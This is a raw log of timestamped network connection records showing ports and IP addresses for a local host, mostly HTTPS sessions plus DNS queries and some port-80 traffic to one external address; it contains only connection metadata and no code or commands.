Nov 19, 2024 20:05:33.472434998 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.472466946 CET	443	49798	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.472505093 CET	49798	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.474823952 CET	49805	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.474878073 CET	443	49805	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.474944115 CET	49805	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.475071907 CET	49805	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.475090981 CET	443	49805	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.522156954 CET	443	49800	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.522656918 CET	49800	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.522687912 CET	443	49800	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.523231983 CET	49800	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.523238897 CET	443	49800	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.568109035 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.568639994 CET	49801	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.568669081 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.569094896 CET	49801	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.569103003 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.623601913 CET	443	49800	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.623677015 CET	443	49800	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.623795033 CET	49800	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.627006054 CET	49800	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.627007008 CET	49800	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.627019882 CET	443	49800	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.627034903 CET	443	49800	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.631325006 CET	49806	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.631364107 CET	443	49806	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.631494999 CET	49806	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.631670952 CET	49806	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.631686926 CET	443	49806	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.636848927 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.637356997 CET	49802	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.637368917 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.637995005 CET	49802	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.637999058 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.639825106 CET	49700	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:33.644606113 CET	443	49700	104.98.116.138	192.168.2.7
Nov 19, 2024 20:05:33.653122902 CET	49807	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:33.653167009 CET	443	49807	104.98.116.138	192.168.2.7
Nov 19, 2024 20:05:33.653239965 CET	49807	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:33.656034946 CET	49807	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:33.656050920 CET	443	49807	104.98.116.138	192.168.2.7
Nov 19, 2024 20:05:33.675595999 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.675621033 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.675685883 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.675729990 CET	49801	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.675729990 CET	49801	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.675863028 CET	49801	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.675863028 CET	49801	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.675883055 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.675895929 CET	443	49801	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.679230928 CET	49808	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.679260015 CET	443	49808	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.679327011 CET	49808	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.679500103 CET	49808	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.679527998 CET	443	49808	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.735836029 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.735855103 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.735934019 CET	49802	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.735954046 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.736022949 CET	49802	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.736038923 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.736082077 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.736134052 CET	49802	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.736157894 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.736181021 CET	49802	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.736186981 CET	443	49802	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.743076086 CET	49809	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.743108988 CET	443	49809	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.743211031 CET	49809	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.743335009 CET	49809	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:33.743349075 CET	443	49809	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:33.857959032 CET	49810	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:33.858004093 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:33.859332085 CET	49810	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:33.859332085 CET	49810	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:33.859371901 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:33.933980942 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:33.934103012 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:33.936835051 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:33.936851978 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:33.937127113 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:33.954905033 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:33.955209970 CET	49813	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:33.959731102 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:33.960052967 CET	80	49813	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:33.960304022 CET	49813	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:33.960304022 CET	49813	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:33.960602045 CET	49813	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:33.965123892 CET	80	49813	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:33.965419054 CET	80	49813	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:33.986762047 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:34.097302914 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.098113060 CET	49815	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:34.098170996 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:34.098231077 CET	49815	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:34.098658085 CET	49815	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:34.098676920 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:34.099185944 CET	49804	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.099185944 CET	49804	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.099222898 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.099236965 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.105920076 CET	443	49805	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.106400013 CET	49805	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.106432915 CET	443	49805	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.106838942 CET	49805	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.106844902 CET	443	49805	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.199811935 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.199836016 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.200047970 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.200071096 CET	49804	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.200136900 CET	49804	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.200165987 CET	49804	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.200165987 CET	49804	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.200184107 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.200192928 CET	443	49804	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.202483892 CET	49816	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.202529907 CET	443	49816	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.202589035 CET	49816	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.202752113 CET	49816	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.202766895 CET	443	49816	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.204572916 CET	443	49805	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.204807043 CET	443	49805	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.204859972 CET	49805	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.204924107 CET	49805	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.204924107 CET	49805	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.204982996 CET	443	49805	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.205007076 CET	443	49805	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.208667994 CET	49817	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.208719969 CET	443	49817	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.208787918 CET	49817	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.208956957 CET	49817	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.208971024 CET	443	49817	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.264997005 CET	443	49806	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.265503883 CET	49806	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.265521049 CET	443	49806	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.266035080 CET	49806	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.266047001 CET	443	49806	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.315149069 CET	443	49808	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.316334009 CET	49808	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.316334009 CET	49808	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.316353083 CET	443	49808	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.316373110 CET	443	49808	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.367861032 CET	443	49806	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.368145943 CET	443	49806	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.368293047 CET	49806	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.368607044 CET	49806	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.368607044 CET	49806	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.368627071 CET	443	49806	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.368634939 CET	443	49806	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.371306896 CET	49818	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.371362925 CET	443	49818	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.371465921 CET	49818	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.371660948 CET	49818	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.371674061 CET	443	49818	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.414740086 CET	443	49808	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.414952040 CET	443	49808	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.415106058 CET	49808	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.415174007 CET	49808	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.415174007 CET	49808	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.415200949 CET	443	49808	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.415213108 CET	443	49808	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.417778015 CET	49819	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.417833090 CET	443	49819	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.417941093 CET	49819	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.418128014 CET	49819	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.418139935 CET	443	49819	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.423568964 CET	443	49809	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.424076080 CET	49809	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.424092054 CET	443	49809	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.424730062 CET	49809	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.424736977 CET	443	49809	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.528929949 CET	443	49809	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.529109955 CET	443	49809	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.529179096 CET	49809	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.529568911 CET	49809	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.529570103 CET	49809	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.529589891 CET	443	49809	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.529597998 CET	443	49809	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.533108950 CET	49820	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.533149004 CET	443	49820	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.533782959 CET	49820	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.534085035 CET	49820	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.534097910 CET	443	49820	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.559525967 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.560127974 CET	49810	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:34.561592102 CET	49810	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:34.561604023 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.561855078 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.610263109 CET	49810	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:34.651330948 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.765578032 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:34.811321974 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:34.838784933 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:34.839263916 CET	49815	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:34.839272022 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:34.839689970 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:34.839865923 CET	52383	53	192.168.2.7	1.1.1.1
Nov 19, 2024 20:05:34.840233088 CET	49815	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:34.840293884 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:34.840384007 CET	49815	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:34.840401888 CET	49815	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:34.840406895 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:34.842242956 CET	443	49817	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.842730999 CET	49817	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.842747927 CET	443	49817	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.843221903 CET	49817	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.843226910 CET	443	49817	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.844666958 CET	53	52383	1.1.1.1	192.168.2.7
Nov 19, 2024 20:05:34.844733000 CET	52383	53	192.168.2.7	1.1.1.1
Nov 19, 2024 20:05:34.844794035 CET	52383	53	192.168.2.7	1.1.1.1
Nov 19, 2024 20:05:34.850251913 CET	443	49816	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.850718975 CET	49816	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.850739002 CET	443	49816	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.850773096 CET	53	52383	1.1.1.1	192.168.2.7
Nov 19, 2024 20:05:34.851164103 CET	49816	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.851169109 CET	443	49816	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.885977983 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.886063099 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.886153936 CET	49810	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:34.886424065 CET	49810	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:34.886424065 CET	49810	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:34.886442900 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.886452913 CET	443	49810	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.929677010 CET	52384	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:34.929713011 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.929889917 CET	52384	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:34.930212021 CET	52384	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:34.930227041 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:34.946597099 CET	443	49817	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.947016954 CET	443	49817	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.947074890 CET	49817	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.947135925 CET	49817	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.947154045 CET	443	49817	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.947199106 CET	49817	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.947206020 CET	443	49817	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.949948072 CET	52385	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.949987888 CET	443	52385	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.950258017 CET	52385	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.950428009 CET	52385	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.950439930 CET	443	52385	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.965609074 CET	443	49816	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.966106892 CET	443	49816	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.966164112 CET	49816	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.966204882 CET	49816	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.966218948 CET	443	49816	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.966228962 CET	49816	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.966233969 CET	443	49816	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.968677044 CET	52386	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.968722105 CET	443	52386	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:34.968955040 CET	52386	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.969089985 CET	52386	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:34.969105005 CET	443	52386	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.011557102 CET	443	49818	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.012418032 CET	49818	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.012429953 CET	443	49818	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.013123989 CET	49818	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.013132095 CET	443	49818	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.020518064 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.020544052 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.020551920 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.020562887 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.020581961 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.020612001 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:35.020620108 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.020652056 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:35.020673037 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:35.020791054 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.020862103 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:35.020867109 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.021171093 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.021248102 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:35.071377039 CET	443	49819	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.075392962 CET	49819	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.075414896 CET	443	49819	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.098148108 CET	49819	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.098165035 CET	443	49819	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.106730938 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:35.107742071 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:35.107817888 CET	49815	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:35.109698057 CET	49815	443	192.168.2.7	142.250.186.110
Nov 19, 2024 20:05:35.109719992 CET	443	49815	142.250.186.110	192.168.2.7
Nov 19, 2024 20:05:35.113526106 CET	443	49818	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.113831997 CET	443	49818	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.113887072 CET	49818	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.114563942 CET	49818	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.114577055 CET	443	49818	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.114588976 CET	49818	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.114593983 CET	443	49818	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.119127035 CET	52388	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.119155884 CET	443	52388	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.119398117 CET	52388	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.119730949 CET	52388	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.119745016 CET	443	52388	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.163304090 CET	80	49813	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:35.163414001 CET	49813	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:35.165009975 CET	443	49820	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.168407917 CET	49820	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.168436050 CET	443	49820	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.169061899 CET	49820	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.169068098 CET	443	49820	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.201342106 CET	443	49819	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.201423883 CET	443	49819	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.201488018 CET	49819	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.204507113 CET	49819	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.204545021 CET	443	49819	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.204560995 CET	49819	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.204569101 CET	443	49819	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.209407091 CET	52389	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.209443092 CET	443	52389	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.209513903 CET	52389	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.211581945 CET	52389	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.211597919 CET	443	52389	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.254154921 CET	49797	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:35.260818005 CET	49813	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:35.265279055 CET	443	49820	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.265449047 CET	443	49820	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.265568972 CET	49820	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.265629053 CET	49820	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.265650034 CET	443	49820	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.265661955 CET	49820	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.265665054 CET	80	49813	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:35.265667915 CET	443	49820	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.269053936 CET	52390	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.269089937 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.269177914 CET	52390	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.269324064 CET	52390	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.269340038 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.319612980 CET	53	52383	1.1.1.1	192.168.2.7
Nov 19, 2024 20:05:35.330030918 CET	52383	53	192.168.2.7	1.1.1.1
Nov 19, 2024 20:05:35.335095882 CET	53	52383	1.1.1.1	192.168.2.7
Nov 19, 2024 20:05:35.335202932 CET	52383	53	192.168.2.7	1.1.1.1
Nov 19, 2024 20:05:35.585438013 CET	443	52385	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.585937977 CET	52385	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.585966110 CET	443	52385	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.587845087 CET	52385	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.587852001 CET	443	52385	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.616206884 CET	443	52386	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.616801977 CET	52386	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.616837025 CET	443	52386	13.107.246.45	192.168.2.7
